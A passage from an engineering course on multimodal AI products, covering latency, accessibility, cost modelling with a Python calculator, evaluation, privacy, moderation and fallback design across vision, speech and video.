Two lessons fall out of the arithmetic. First, endpointing is the biggest dial you control that isn't the model: 350 ms of "silence before the turn ends" is nearly twice all the transport, capture and playback stages combined (185 ms) — and it's pure configuration, not compute. Second, architecture choice moves cost, not just latency: the fused speech-to-speech path removed the STT and TTS hops entirely and won by 300 ms here, but it typically bills audio tokens at a premium and gives you less control over each stage — which wins depends on your provider's prices and your quality bar, which is why you measure rather than assume (the architecture trade-offs are 09.6's).

2.3 Mobile, networks and offline#

  • Upload size is latency. A 12 MP phone photo is 3-8 MB; on a bad connection that dominates everything else. Preprocess on the client where you can (resize/compress before upload — the client-side version of 03.6, 6.1) and offer a "low quality" path for poor connections.
  • Assume the network dies mid-upload. Resumable/multipart uploads (S3 multipart, GCS resumable) beat single PUTs for anything over a few MB; your job layer should treat "upload incomplete" as a first-class state, not an exception.
  • Offline and on-device (awareness). Small on-device models now cover real use cases — Whisper-family STT on whisper.cpp, Piper/Kokoro-style TTS, small VLMs — with zero network and zero marginal cost, at the price of model size, battery and accuracy below frontier APIs. The full landscape is in the sibling lessons (09.4, 09.5, 09.1); the product decision is a spectrum: on-device for privacy/latency-critical captures, cloud for quality, hybrid (on-device first pass, cloud escalation) for the middle.
  • Realtime needs the right transport. WebRTC for browser audio/video (NAT traversal, echo cancellation, hardware codecs), WebSocket for server-side audio streaming, telephony (SIP/PSTN) for phone calls — 09.6 owns the comparison; your job is to pick per surface, not per preference.

2.4 Accessibility is a feature requirement#

Multimodal products serve users who can't see the screen or hear the audio — and the same artefacts you generate for AI make excellent accessibility outputs:

Artefact you already produce Accessibility use
Image caption / description (09.1) Alt text for images; screen-reader descriptions of charts, photos, UI screenshots
Transcript + diarization (09.4) Captions and transcripts for audio/video; deaf and hard-of-hearing access
TTS audio (09.5) Audio versions of long text; but always pair with captions — audio-only excludes deaf users
Chaptered summaries (09.8) Navigation for long video; screen-reader-friendly structure
Structured extraction (09.2) Data tables that screen readers can navigate instead of prose walls

The obligations differ by jurisdiction (the EU's accessibility act and WCAG 2.2 are the usual references — see 5.6 for the regulatory frame), but the engineering is the same regardless: every media artefact needs a text equivalent, and every audio output needs a text equivalent. If your pipeline produces a caption or transcript anyway, exposing it is nearly free; if it doesn't, accessibility becomes an extra model call you didn't budget for.

2.5 Multilingual and cultural UX#

  • Don't assume one language. ASR/TTS/vision quality varies sharply by language (02.2, 8.4 covers the token tax; the modality lessons cover per-provider language lists — verify before promising). Code-switching (a speaker mixing languages mid-sentence) is common in real audio and breaks models tuned for one language.
  • Text for speech is written differently per language. Number/date verbalisation, formality levels and what's considered "polite agent speech" differ culturally; a script that works in English can sound robotic or rude in Japanese or German. Budget for per-language prompt/script review.
  • Cultural content in images. Gestures, symbols, colours and layouts carry different meanings; a generated image that's fine in one market can be offensive in another. Brand-safety review of generated assets (Part 4 covers the eval side) should include locale, not just category.
  • RTL and non-Latin scripts. Captions, transcripts and UI text need bidirectional-text handling; media pipelines that assume LTR break quietly.

2.6 AI UX: the preview#

How users perceive an AI feature — trust, control, error communication, when to show raw model output versus a polished result — is its own discipline. Module 13A owns it. The one rule worth stealing now: show your work. For multimodal outputs especially, surfacing the transcript, the extracted fields with their source regions, or the "why" behind a classification converts a scary black box into an auditable tool — and gives users a way to correct you, which is the cheapest eval data you'll ever collect.


Part 3: Cost engineering#

3.1 What actually drives the bill#

Text LLMs bill per token. Multimodal products bill per modality-specific unit, and confusing them is the most common cost bug:

Modality Typical billing unit (verify per provider — prices change) Cost levers
Image understanding Input image tokens — patch/resize budgets differ per provider (03.6, Part 3) Downscale/crop before sending; lower detail/media_resolution; two-pass locate-then-zoom
Document/PDF input Pages → image tokens, or per-page document tokens Page images vs native PDF vs parser-then-text (09.2); send only needed pages
Image generation Per image, per output token, or per megapixel — varies wildly Resolution/quality tiers; fewer candidates (n); batch APIs (50% off on several providers)
Speech-to-text Per audio minute or per audio hour Trim silence; chunk once not twice; batch/pre-recorded tiers are cheaper than streaming
Text-to-speech Per 1K characters or per audio token/minute Cache repeated phrases; shorter scripts; cheaper voice tiers
Realtime voice Per audio token (input ~1 token/100 ms, output ~1 token/50 ms on OpenAI) or per minute VAD filters silence; shorter sessions; mini models; text fallback for long monologues
Video understanding Per second of video as tokens (frame rate × resolution dependent) Lower FPS, shorter clips, keyframe sampling (09.8), transcript-first triage
Multimodal embeddings Per image/audio/video second or per page Embed once, store; caption-then-embed-text as the cheap path (09.9)
Storage/CDN Per GB-month + per request Lifecycle tiering; delete on request; compress derived media

Verified examples of the diversity (as of November 2026): OpenAI realtime models bill per audio token by modality (gpt-realtime-2.1 audio input $32/1M tokens, audio output $64/1M, text $4/$24 — audio tokens run ~1 per 100 ms in, 1 per 50 ms out, per OpenAI's realtime cost guide), while OpenAI's transcription models bill per minute (GPT-Transcribe $0.0045/min, GPT-Live-Transcribe $0.017/min) and TTS bills per character (tts-1 $15/1M chars) or per audio token (gpt-4o-mini-tts). Gemini's Live API bills audio at both a per-token and a per-minute equivalent ($3.00 or $0.005/min input, $12.00 or $0.018/min output on gemini-3.8-live), and its TTS at $9.00/1M audio output tokens ($0.00225 per 10 s of audio) through 31 December 2026, then $18.00/1M from 1 January 2027 (Gemini 3.8 Flash TTS). Specialists bill differently again: Deepgram Nova-3 streams at $0.0077/min pay-as-you-go; ElevenLabs bills TTS per 1K characters ($0.04 Flash/Turbo, $0.08 multilingual) and Scribe STT per hour ($0.22 batch, $0.39 realtime). The lesson: never assume the unit — read the pricing page's unit column.

The pattern: every modality has a "resolution dial" — image detail, audio sample rate/duration, video FPS/length, TTS voice tier, realtime model size. Cost engineering is mostly about turning the dial down before the call, because after the call the tokens are spent.

3.2 The cost model calculator#

Build the cost model before launch, with prices as parameters — the same discipline as 03.7's price table and 02.9, 6.13. Here is a multimodal version. Prices below are verified as of November 2026 from the linked official pages — treat them as defaults you override, never as constants you trust:

python
# multimodal_cost.py — estimate the monthly cost of a multimodal feature set.
# Prices are PARAMETERS (USD). The defaults are list prices seen on the
# official pricing pages on 2026-11-05; re-check them before you rely on
# the output:
#   OpenAI pricing:    https://developers.openai.com/api/docs/pricing
#   Gemini pricing:    https://aistudio.google.com/docs/pricing
#   Anthropic pricing: https://platform.claude.com/docs/en/about-claude/pricing
#   Deepgram:          https://deepgram.com/pricing
#   ElevenLabs:        https://elevenlabs.io/pricing/api
#   OpenRouter:        https://openrouter.ai/models (per-model pricing)

from __future__ import annotations

# --- price table (USD). Adjust to YOUR negotiated/provider rates --------------
PRICES = {
    # image understanding: $ per 1M image input tokens (provider-dependent)
    "image_input_per_1m": 2.50,        # e.g. mid-tier VLM image tokens
    "image_tokens_per_image": 1100,    # typical fixed budget per image
    # image generation: $ per image at standard quality
    "image_gen_per_image": 0.04,
    # speech-to-text: $ per audio minute (pre-recorded/batch vs streaming)
    "stt_per_minute": 0.0045,          # OpenAI GPT-Transcribe list price
    "stt_stream_per_minute": 0.0077,   # Deepgram Nova-3 streaming list price
    # text-to-speech: $ per 1K characters
    "tts_per_1k_chars": 0.04,          # ElevenLabs Flash/Turbo list price
    # realtime voice: $ per audio minute, blended in+out (estimate!)
    "realtime_per_minute": 0.06,       # order-of-magnitude; compute from tokens below
    # video understanding: $ per video-second at default sampling
    "video_per_second": 0.000225,      # ~300 tok/s (Gemini, high res, 09.8) x $0.75/M; doubles from 2027-01-01
    # multimodal embedding: $ per 1K images / per audio hour
    "embed_per_1k_images": 0.10,
    "embed_audio_per_hour": 0.50,
    # text LLM for post-processing: $ per 1M tokens in/out
    "llm_in_per_1m": 1.00,
    "llm_out_per_1m": 4.00,
    # object storage: $ per GB-month hot / cold (S3-standard-ish)
    "storage_gb_hot": 0.02,
    "storage_gb_cold": 0.004,
}


def monthly_cost(usage: dict, prices: dict = PRICES) -> dict:
    """Cost per feature line + total. `usage` holds monthly quantities."""
    lines = {}

    # --- vision: images analyzed ------------------------------------------
    n_images = usage.get("images_analyzed", 0)
    img_tok = n_images * prices["image_tokens_per_image"]
    lines["vision_analysis"] = (img_tok / 1e6) * prices["image_input_per_1m"]

    # --- image generation --------------------------------------------------
    lines["image_generation"] = \
        usage.get("images_generated", 0) * prices["image_gen_per_image"]

    # --- speech-to-text ----------------------------------------------------
    lines["stt_batch"] = usage.get("audio_minutes_batch", 0) * prices["stt_per_minute"]
    lines["stt_streaming"] = \
        usage.get("audio_minutes_streaming", 0) * prices["stt_stream_per_minute"]

    # --- text-to-speech ----------------------------------------------------
    lines["tts"] = (usage.get("tts_chars", 0) / 1000) * prices["tts_per_1k_chars"]

    # --- realtime voice ----------------------------------------------------
    lines["realtime_voice"] = \
        usage.get("realtime_minutes", 0) * prices["realtime_per_minute"]

    # --- video understanding -----------------------------------------------
    lines["video_understanding"] = \
        usage.get("video_seconds", 0) * prices["video_per_second"]

    # --- multimodal retrieval ----------------------------------------------
    lines["multimodal_embeddings"] = \
        (usage.get("images_embedded", 0) / 1000) * prices["embed_per_1k_images"] + \
        usage.get("audio_embedded_hours", 0) * prices["embed_audio_per_hour"]

    # --- text post-processing (summaries, extraction text) ------------------
    lines["text_llm"] = \
        (usage.get("llm_input_tokens", 0) / 1e6) * prices["llm_in_per_1m"] + \
        (usage.get("llm_output_tokens", 0) / 1e6) * prices["llm_out_per_1m"]

    # --- object storage -----------------------------------------------------
    lines["storage"] = \
        usage.get("storage_gb_hot", 0) * prices["storage_gb_hot"] + \
        usage.get("storage_gb_cold", 0) * prices["storage_gb_cold"]

    lines["TOTAL"] = sum(v for k, v in lines.items() if k != "TOTAL")
    return lines


# --- worked example: a "multimodal support assistant" at modest scale ------
USAGE = {
    "images_analyzed": 50_000,        # 50k support photos/month
    "images_generated": 2_000,        # 2k marketing images/month
    "audio_minutes_batch": 10_000,    # 167 h of call recordings transcribed
    "audio_minutes_streaming": 500,   # live captions
    "tts_chars": 2_000_000,           # 2M chars of voice responses
    "realtime_minutes": 1_000,        # 16.7 h of realtime voice sessions
    "video_seconds": 20_000,          # ~5.5 h of tutorial video analyzed
    "images_embedded": 50_000,        # same support photos embedded for search
    "audio_embedded_hours": 170,
    "llm_input_tokens": 50e6, "llm_output_tokens": 10e6,
    "storage_gb_hot": 200, "storage_gb_cold": 2_000,
}

if __name__ == "__main__":
    for k, v in monthly_cost(USAGE).items():
        print(f"{k:26s} ${v:10.2f}")
Output · real — this is pure arithmetic on the parameters above11 lines
vision_analysis            $    137.50
image_generation           $     80.00
stt_batch                  $     45.00
stt_streaming              $      3.85
tts                        $     80.00
realtime_voice             $     60.00
video_understanding        $      4.50
multimodal_embeddings      $     90.00
text_llm                   $     90.00
storage                    $     12.00
TOTAL                      $    602.85

Read the table like a CFO: vision_analysis and multimodal_embeddings are the same 50k images billed twice (once to look, once to index) — a sign your pipeline embeds what it analyses and should share the work. stt_batch dominates the audio lines because the volume is 20 times larger (10,000 minutes against 500), even at the lower per-minute rate; if that 10,000 minutes is truly batch-able, you're already on the cheap tier. (The two per-minute prices here come from different vendors, OpenAI's GPT-Transcribe and Deepgram's streaming rate, so their ratio is not a general batch-versus-streaming discount.) And realtime_voice at a flat $0.06/min is the number most likely to be wrong — it's the one place you must compute from audio-token rates (input and output tokens differ by 2×), which is exactly what the parameters are for.

3.3 The cost levers, in order of leverage#

  1. Pre-process before you send. Downscale/crop images (03.6, 6.1), trim silence from audio, cut video to the relevant window, lower FPS/resolution — every token you don't generate is free. This is the highest-leverage lever because it multiplies across every downstream call.
  2. Cache and deduplicate. Same image asked twice → same answer, free the second time (content-hash cache, 09.9's perceptual-hash dedup). Repeated TTS phrases (greetings, disclaimers, IDs read back) → synthesize once, store, replay. Prompt caching applies to the text parts of multimodal calls too (03.7).
  3. Tier your models. Cheap model for classification/routing/extraction drafts, frontier model only for the hard tail (02.9, 10.3). A cascade that handles 80% on a cheap model cuts the bill far more than any single optimisation.
  4. Batch what can wait. Provider batch APIs are typically ~50% off (03.9); overnight transcription, weekly report generation, eval runs — anything without a live user should be a batch job.
  5. Embed once, retrieve many. Multimodal embeddings are cheap per item but add up; embed at ingest, store the vector, never re-embed unless the model changes (09.9, 06.2's re-embedding cost).
  6. Quota and budget per user. Per-user caps on uploads/hour, generation count/day, realtime minutes/session — enforced in your code before the provider ever sees the request (see 3.5).

3.4 Realtime voice: the cost shape nobody expects#

Realtime billing is the easiest multimodal bill to get wrong because it's per audio token, and audio tokens are dense. On OpenAI's realtime models, input audio is ~1 token per 100 ms and output ~1 token per 50 ms — so a 10-minute session is ~6,000 input audio tokens plus however many output tokens the model speaks, plus the text tokens for reasoning and tools, plus a separately-billed input-transcription model if enabled (OpenAI realtime costs). At gpt-realtime-2.1's audio rates ($32/$64 per 1M tokens) that 10-minute session costs on the order of tens of cents before text and tools — meaningful at scale. Gemini's Live API quotes both units ($3.00 or $0.005/min input, $12.00 or $0.018/min output on gemini-3.8-live) so you can sanity-check either way. Practical rules: cap session length, use VAD so silence isn't billed as input, prefer the mini tier for chit-chat, and drop to text or batch for anything long-form (a 30-minute dictation is a transcription job, not a realtime session).

3.5 Per-user quotas and budgets#

Cost control at the product level means every user has a budget, and your code enforces it before the provider does:

  • Quota dimensions that matter for media: uploads/day, total media GB stored, generation count/day, realtime minutes/day, TTS characters/day, video seconds/month. Store counters per user per window; reject with a clear 429-style error before calling the provider.
  • Budget alerts, not just caps. Warn at 50%/80%/100% of the user's budget; hard-cap at 100% with an upgrade path. A user who silently hits a cap files a support ticket; a user who sees "you've used 80% of your free voice minutes" doesn't.
  • Cost attribution. Tag every provider call with user_id, feature, job_id in your logs/metadata (03.7, 5.7) so the bill decomposes by feature and customer — the same custom_id/key discipline as 03.9, 6.3.
  • Anomaly detection. A sudden 10× spike in one user's image generations is either a bug (retry loop) or abuse (scraping); both need alerting, not just a bigger invoice. Reuse 03.8's retry-budget thinking — a client that retries a failing generation 50× costs real money.

3.6 Cost dashboards#

You don't need a BI tool to start: a nightly job that sums your cost-tracker rows by feature, user_tier, provider, day and renders a table is enough for the first month. The metrics that matter: cost per completed task (not per call — retries and failures still bill), cost per active user, p95 cost per job (the tail jobs are the expensive ones), and cache-hit rate (the lever that's working or isn't). 03.7, Part 10 covers measuring caching properly; Module 11A owns the full observability platform decision.


Part 4: Evaluating multimodal products (an introduction)#

Deep-dive

Module 10A owns eval methodology — datasets, metrics, judges, regression suites — in depth. This section is the multimodal-specific minimum: what to measure per modality, and the few patterns that differ from text-only eval. The sibling lessons own the per-modality detail; link, don't re-teach.

4.1 Metrics per modality#

Modality What "correct" means Metrics (verify definitions in Module 10A) Built in
Vision / VQA Right answer about the image Answer accuracy on a labelled set; grounding IoU for boxes/points; hallucination rate (claims not in image) 09.1
Document extraction Right fields, right values Field-level precision/recall/exact-match; arithmetic reconciliation pass rate 09.2
Image generation Matches the brief, on-brand, safe Prompt-adherence (VLM judge + human spot-check), brand-compliance checklist, safety-violation rate, regeneration rate 09.3
Speech-to-text Right words, right speakers, right times WER/CER, speaker error rate, entity accuracy (names/numbers), timestamp accuracy 09.4
Text-to-speech Understandable, right voice, right pronunciation Round-trip intelligibility (TTS→STT→WER), pronunciation-error rate on a name list, MOS-style listening tests 09.5
Voice agent Task completed, naturally, fast enough Task success rate, turn latency percentiles, interruption/barge-in handling, turn-taking error rate, user satisfaction 09.7
Video understanding Right events, right timestamps Timestamp-interval IoU, answer correctness, chapter-boundary quality 09.8
Multimodal retrieval Right media item retrieved recall@k / nDCG on a labelled query set 09.9, 06.10

Two cross-cutting metrics matter more than any single one: task success rate (did the user's actual goal complete — not "was the JSON valid") and cost per successful task (a pipeline that's 95% accurate but retries 5× costs more than a 90% one that doesn't). 06.10, Part 1 makes the same argument for retrieval: evaluate the contract, not the intermediate.

Every modality eval needs real media with ground truth, and real media is personal data:

  • Source with consent. Internal dogfooding uploads, opted-in beta users, synthetic/generated fixtures (09.3's generated test images), and public datasets with compatible licences. Never scrape user uploads for evals without consent — they're already PII (5.3).
  • Label at the right granularity. Field-level for documents (each invoice field, not "the extraction was good"), segment-level for transcripts (which words/speakers), interval-level for video (which timestamps), pair-level for retrieval (query→relevant item). 06.10, 2.5-2.7 covers graded relevance and the re-chunking problem.
  • Version the set. Eval sets are code: version them, keep a dev/test split, and re-run the same set on every model/prompt change (06.10, 2.8). A set you keep editing can't tell you if you got better or just moved the goalposts.
  • Stratify by the failure modes you care about. Low-light photos, accented speech, dense tables, rotated scans — a random sample hides the tail that breaks users. Oversample the hard cases.

4.3 LLM/VLM-as-judge for multimodal output#

Judges are tempting because media is expensive to label by hand. Use them, but know their failure modes:

  • A VLM judge can check visual claims a text judge can't ("does the generated image contain the requested text?"), but it inherits the same hallucination and counting weaknesses as any VLM (09.1's limits) — don't ask it to count or measure precisely.
  • Position and verbosity bias apply. Judges prefer longer, more confident, first-position answers — the same biases documented for text judges in Module 10A. Mitigate with pairwise swaps, rubric-scored criteria, and a human-audited calibration subset.
  • Safety judging is not moderation. A judge can flag "this transcript contains PII" for your eval; it is not a substitute for the provider moderation endpoints or your own policy engine (5.4).
  • Calibrate before trusting. Run the judge on ~50-100 human-labelled examples; if its agreement with humans is poor, it's a noisy metric, not a signal. Report judge-human agreement alongside judge scores.

4.4 Regression suites, golden fixtures and canary tests#

The minimum viable eval loop for a multimodal product:

  1. Golden fixtures. A fixed set of representative inputs (a handful of real receipts, a 30-second audio clip, a product photo, a short video) with expected outputs stored as files — images, transcripts, JSON. Re-run the pipeline on them after every model, prompt, preprocessing or provider change. This is 03.10's record-and-replay instinct applied to media: snapshot the input, diff the output.
  2. Contract assertions. Not "the caption equals X" (too brittle) but "the caption mentions the dog's breed", "the transcript has 3 speaker turns", "the extraction has a total that sums to the lines" — property checks that survive wording changes.
  3. Canary in production. A small scheduled job that re-runs the golden fixtures against the live provider on a cron — catches silent model/prompt drift between deploys. Pin model versions (02.9, 8.3) so "the model changed" is a decision you made, not a surprise.
  4. Shadow traffic for risky changes. Route a copy of production traffic to the new pipeline without showing results, compare outputs offline (02.9's canary/shadow vocabulary).

4.5 A/B testing, drift and pinning#

  • A/B for UX, evals for correctness. A/B tests answer "do users prefer/complete more with variant B"; eval suites answer "is variant B still correct". You need both — a prettier voice that mispronounces names wins the A/B and loses the eval.
  • Drift has three sources. Model version changes (the provider swaps a snapshot under an alias), prompt/template changes (your deploys), and data drift (users start uploading a new kind of image). Pin model IDs, version prompts, and re-run evals on a schedule — 02.9, Part 8 covers alias vs snapshot and lifecycle.
  • Never silently upgrade. A model alias that auto-moves to a new snapshot will change your outputs on a Tuesday with no deploy. Pin to dated snapshots in production, and treat an alias upgrade as a deliberate, eval-gated change.

Part 5: Safety, privacy and compliance across modalities#

This section is engineering awareness verified against official sources, not legal advice. Module 12 owns the security depth (prompt injection, PII handling, guardrails); each modality lesson has its own safety section. What follows is the cross-modal frame.

The modalities that create the most consent surface are the ones that capture or synthesise a person:

  • Recording audio/video of people requires notice in most jurisdictions (two-party/all-party consent laws vary — know yours; this is not legal advice). Your UI must say "this call/recording may be transcribed and analysed" before capture, and your retention policy must honour it.
  • Faces and voiceprints are biometric-adjacent data. A face in a photo and a voice in a recording can identify a person; treat them with the same care as other special-category data under GDPR-style regimes. Blur/redact faces when you don't need them (5.3), and never build face-recognition features without a lawful basis and explicit consent.
  • Voice cloning needs documented consent. Every TTS provider's cloning feature requires consent verification — use it only with recorded, revocable consent, and disclose synthetic voice to listeners (09.5 covers the provider policies).
  • Children's data is the highest bar. Under COPPA-style rules and the EU AI Act's prohibited-practices list, products directed at children face strict limits on profiling, voice/face data and behavioural advertising. If your users could be children, design for the strictest regime.

5.2 Retention and deletion: rights and mechanics#

"Delete my data" must work end-to-end, and the mechanics differ per provider — verified as of November 2026:

Provider File/media retention How to delete
OpenAI Files persist until deleted or expires_after is set at upload (1 hour–30 days) (03.6, 5.7-5.8) DELETE /v1/files/{id}; set expires_after on upload
Anthropic Files API: 500 MB/file, 1 TB/org; expires_in_seconds at upload (1 h–90 days); metadata readable up to 30 days after expiry; API inputs/outputs auto-deleted within ~30 days absent other terms (Files API docs, retention docs) DELETE /v1/files/{file_id}; set expires_in_seconds
Gemini Files API: 48-hour auto-expiry, 20 GB/project, 2 GB/file; cannot download user uploads (Files API docs) client.files.delete(name=...) or wait 48 h
OpenRouter Passes through to the routed provider; zdr/data_collection routing options control which endpoints may serve (OpenRouter provider routing) Provider's delete, via routing choice
Your store Your lifecycle rules + retention_until column Object delete + DB row + derived artefacts

The engineering pattern: a deletion job that walks every store — your object storage, your DB rows, provider file IDs (you must have stored them — 03.6, 5.9), embeddings, transcripts, cached inputs — and writes an audit record. Set expires_after/expires_in_seconds on every provider upload as a backstop so a missed delete still expires. Provider-side retention for prompts/responses (not files) is covered in 02.9, Part 9; ZDR (zero data retention) routing on OpenRouter and provider agreements are the tools for the strictest cases.

5.3 PII in media#

Media carries PII that text doesn't: faces, voices, documents with IDs, screenshots with personal data, background details in photos.

  • Detect then redact. Faces → blur/redact boxes (Pillow/OpenCV); documents → the extraction schema should mark PII fields and redact before storage/logging; audio → the provider's redaction features (Deepgram offers a redaction add-on at $0.0020/min; ElevenLabs Scribe has PII redaction) or transcript-level scrubbing. When the audio itself must be shared — not just its transcript — signal-level redaction (blipping spans, voice conversion) is a separate toolchain; voice-changer-class products exist, verify current offerings before you design around one.
  • EXIF/GPS is free PII. Strip it on ingest — 09.1's Pillow EXIF-stripping code is the reference; do it before you store or send, not after.
  • Log hygiene. Media bytes never go in logs; media metadata (IDs, hashes, durations, providers, costs) does. A transcript or caption is content — redact it like any user text before it hits your log pipeline (03.10, 4.5).
  • Minimise what you keep. Store the original only if you need it (re-processing, disputes); otherwise keep the derived artefacts (transcript, extraction, thumbnail) and delete the raw media at retention_until.

5.4 Content moderation#

"Moderation" splits into input moderation (is this upload allowed?) and output moderation (is this generated result allowed?), and the provider surfaces differ — verified as of November 2026:

Provider Input moderation Output moderation Mechanism
OpenAI client.moderations.create(model="omni-moderation-latest", input=...) — text and image (not audio), free, images ≤20 MB; or inline moderation={"model": ...} on Responses for input+output scores Same endpoint/inline scores Dedicated moderation model
Anthropic No dedicated moderation endpoint — use Claude itself as a classifier (their content-moderation guide) Built-in safety behaviours may refuse regardless of prompt; stop_reason: "refusal" Model-as-judge + refusals
Gemini safety_settings per harm category with thresholds (off/block_only_high/block_medium_and_above/block_low_and_above); categories: harassment, hate_speech, sexually_explicit, dangerous_content, jailbreak; child-safety harms always blocked Same filters apply to outputs; blocked input → HTTP 400 safety Per-request safety filters
OpenRouter No dedicated endpoint; provider filters surface as error_type: "content_policy_violation" or "refusal" (403) with error.metadata.reasons/flagged_input — the error_type field's location varies by API skin (error.metadata.error_type on Chat Completions, top-level error_type on Responses, inside error on Anthropic Messages) Same Routed-provider filters
Image generation OpenAI Images API moderation param (auto/low); blocks return error.code: "moderation_blocked" with moderation_details.moderation_stage (input/output) and coarse categories — don't auto-retry (Image generation guide) Same Generation-time filter
python
# moderation_check.py — illustrative: OpenAI's moderation surface.
# Needs OPENAI_API_KEY in .env. The omni-moderation-latest model accepts
# text AND images (not audio); the endpoint is free.
# Output below is illustrative — your categories/scores will differ.

from dotenv import load_dotenv
from openai import OpenAI

load_dotenv()
client = OpenAI()

# 1. Standalone check on an upload (text or image file_id/data-URL).
result = client.moderations.create(
    model="omni-moderation-latest",
    input=[{"type": "image_url", "image_url": {"url": "data:image/jpeg;base64,..."}}],
)
m = result.results[0]
print("flagged:", m.flagged)
print("categories:", {k: v for k, v in m.categories.model_dump().items() if v})

# 2. Inline moderation on a generation call: scores for input AND output
#    come back on the response, no second request.
resp = client.responses.create(
    model="gpt-6-luna",
    input="Summarise this support ticket image.",
    moderation={"model": "omni-moderation-latest"},
)
# moderation.input/.output can be an {type: "error"} object instead of
# scores — check the type before reading .flagged, as the docs' own
# examples do.
for side in (resp.moderation.input, resp.moderation.output):
    if side.type == "error":
        raise RuntimeError(side.message)
print("input flagged:", resp.moderation.input.flagged)
print("output flagged:", resp.moderation.output.flagged)
Example output · illustrative4 lines
flagged: False
categories: {}
input flagged: False
output flagged: False

The design rules that matter more than the endpoint:

  • Moderation is a signal, not a verdict. flagged is a probability threshold; route borderline cases to human review, don't auto-ban (03.4's "untrusted output" discipline applies to moderation scores too).
  • You still need your own layer. Provider moderation covers their harm taxonomy; your product has its own policies (no competitor logos, no medical advice, region-specific rules). Build a policy layer on top — the OpenRouter Armor plugin (beta since Oct 2026) is an example of rules-as-English-text over tool calls, and the same idea applies to media.
  • CSAM is not a moderation problem. OpenAI's docs explicitly say the Moderation API is not a substitute for dedicated child-safety safeguards — you need purpose-built detection (PhotoDNA-class) and reporting flows, which is Module 12 territory.
  • Log moderation decisions. flagged, categories, moderation_stage, the policy applied, and the reviewer outcome — you'll need them for appeals, audits and eval.

5.5 Deepfakes, impersonation and fraud#

Generative media creates a fraud surface text never had:

  • Voice impersonation. A cloned voice can pass casual verification ("it's me, wire the money"). Mitigations: never use voice as the sole authentication factor; out-of-band confirmation for high-stakes actions; voice-cloning consent verification; disclosure that the agent is synthetic.
  • Video/image deepfakes. Document fraud (altered invoices, fake IDs) is a real attack on document-understanding pipelines (09.2). Defences: provenance checks, liveness/verification for high-assurance flows, human review for anomalies, and treating extracted "identity" fields as claims to verify, not facts.
  • Provenance and watermarking. Mark your generated outputs so they're identifiable as synthetic: C2PA content credentials (c2pa.org) are the emerging standard; providers embed varying watermarks (Google's SynthID-style marks on Gemini outputs — verify per model). The EU AI Act's Article 50 transparency obligations (machine-readable marking + disclosure for synthetic content, applying Aug 2026 with a Dec 2026 transition — 5.6) make this a compliance item, not just ethics.
  • Copyright and licensing are a separate axis. Generated outputs aren't automatically cleared for every use — providers' terms differ on commercial use, and outputs can resemble copyrighted material — and the input media you upload may itself be licensed content the provider's terms restrict (e.g. analysing licensed music or footage). Check each provider's terms and your own content policy; 09.3's copyright and training-data section covers the generation side in depth.
  • Your own abuse surface. If users can generate images/audio/video through your product, you need prompt moderation, output moderation, rate limits, and abuse monitoring — the same guardrails as any UGC platform, plus media-specific ones (09.3's safety section).

5.6 Regulatory awareness: EU AI Act and beyond#

Not legal advice — a verified engineering snapshot as of November 2026:

  • EU AI Act (AI Act Service Desk timeline): in force since Aug 2024; prohibitions and GPAI rules applied Feb/Aug 2025; transparency rules (Art. 50) and most obligations apply from 2 Aug 2026 (enforceable now); new prohibitions on non-consensual intimate imagery and CSAM from 2 Dec 2026; high-risk Annex III rules from 2 Dec 2027, Annex I from 2 Aug 2028. For multimodal products, Art. 50 is the immediate one: disclose AI-generated/synthetic content and mark it machine-readably — which lands directly on your image/TTS/video generation features.
  • GDPR/UK GDPR, CCPA and siblings. Media is personal data: faces, voices, documents. You need a lawful basis, purpose limitation, data-minimisation, retention limits, and working deletion/export paths (5.2). Biometric data (face/voice templates) is special category — highest bar.
  • Recording consent. US states vary between one-party and all-party consent; EU member states vary similarly. Your call-recording feature needs a jurisdiction-aware consent flow — this is a product requirement, not a footnote.
  • Accessibility obligations. The EU Accessibility Act and WCAG 2.2 set the bar for captions/transcripts/alt-text (2.4); several jurisdictions mandate it for public-facing services.
  • Sector rules. Health, finance, legal and children's products layer additional regimes (HIPAA-style BAAs — ElevenLabs Scribe Medical and Deepgram offer HIPAA-eligible tiers; financial-services voice agents have their own rules). Know your sector before you ship.

5.7 Abuse monitoring and incident response#

  • Monitor for abuse patterns. Sudden spikes in generation, repeated moderation flags, probing uploads (polyglot files, oversized media), scraping of generated outputs, and unusual realtime-session patterns are your abuse signals. Alert on them like you alert on error rates.
  • Incident response for media. A leaked media store, a CSAM hit, a deepfake abuse report, a provider breach — each needs a runbook: detect → contain (revoke signed URLs, disable feature) → assess scope (which users/media/period) → notify (users, authorities where required) → remediate (delete, rotate keys) → post-mortem. Write it before you need it; media incidents are reputationally worse than text ones because the content is visceral.
  • Kill switches. Every generative feature needs a config-level off switch you can flip without a deploy — provider outage, abuse wave, or a discovered vulnerability. Test it.

Part 6: Reliability and fallbacks#

Deep-dive

6.1 Degraded modes#

A multimodal product should have a graceful-degradation ladder per modality — the feature gets worse, it doesn't disappear:

Modality Primary Degraded mode 1 Degraded mode 2 Last resort
Image understanding VLM on original Downscaled/cropped image Text-only fallback (filename/metadata/EXIF) "We can't read this image — try a clearer photo or describe it"
Document extraction Vision model on page images OCR engine (05.4) + text model Parser-only for digital PDFs Human review queue
Image generation Preferred provider Alternate provider/model Template/pre-made asset "Generation unavailable — here's a similar preset"
Speech-to-text Cloud ASR On-device Whisper Batch retry later "We'll transcribe when service is back; here's the audio"
Text-to-speech Premium voice Standard voice System TTS / pre-recorded phrases Text-only response + "audio unavailable"
Realtime voice Speech-to-speech model Cascaded STT→LLM→TTS Text chat with the same agent logic Async transcript + delayed voice reply
Video understanding VLM on sampled frames Transcript/audio-only analysis Keyframe-only sparse sampling "Video analysis unavailable — try audio transcript"
Multimodal retrieval Native multimodal embeddings Caption-then-text-embed Text/BM25 only (06.x) Keyword search + "results may be incomplete"

The rules: degrade the modality, keep the task. If the vision model is down but the user asked "what's the total on this receipt", an OCR+text path can still answer; if everything fails, say so honestly and offer the manual path. Never silently return a worse answer as if it were the good one — label degraded outputs in the UI and logs.

flowchart TD
    A["Request arrives"] --> B{"Primary modality<br/>available?"}
    B -- yes --> C["Full-quality path"]
    B -- no / timeout --> D{"Degraded path<br/>configured?"}
    D -- yes --> E["Degraded path<br/>(label output 'reduced quality')"]
    D -- no --> F{"User-facing fallback?"}
    F -- yes --> G["Honest error + manual alternative"]
    F -- no --> H["Queue for retry / async job"]

6.2 Retries and timeouts per modality#

The retry rules from 03.8 apply unchanged — but each modality adds a wrinkle:

  • Media uploads aren't idempotent by default. A retried "send this image" can double-charge if the provider bills per request and you re-POST the bytes. Use idempotency keys where offered, dedupe by content hash (1.5), and never retry a generation blindly — a duplicate image generation costs money and may produce a different result the user didn't ask for.
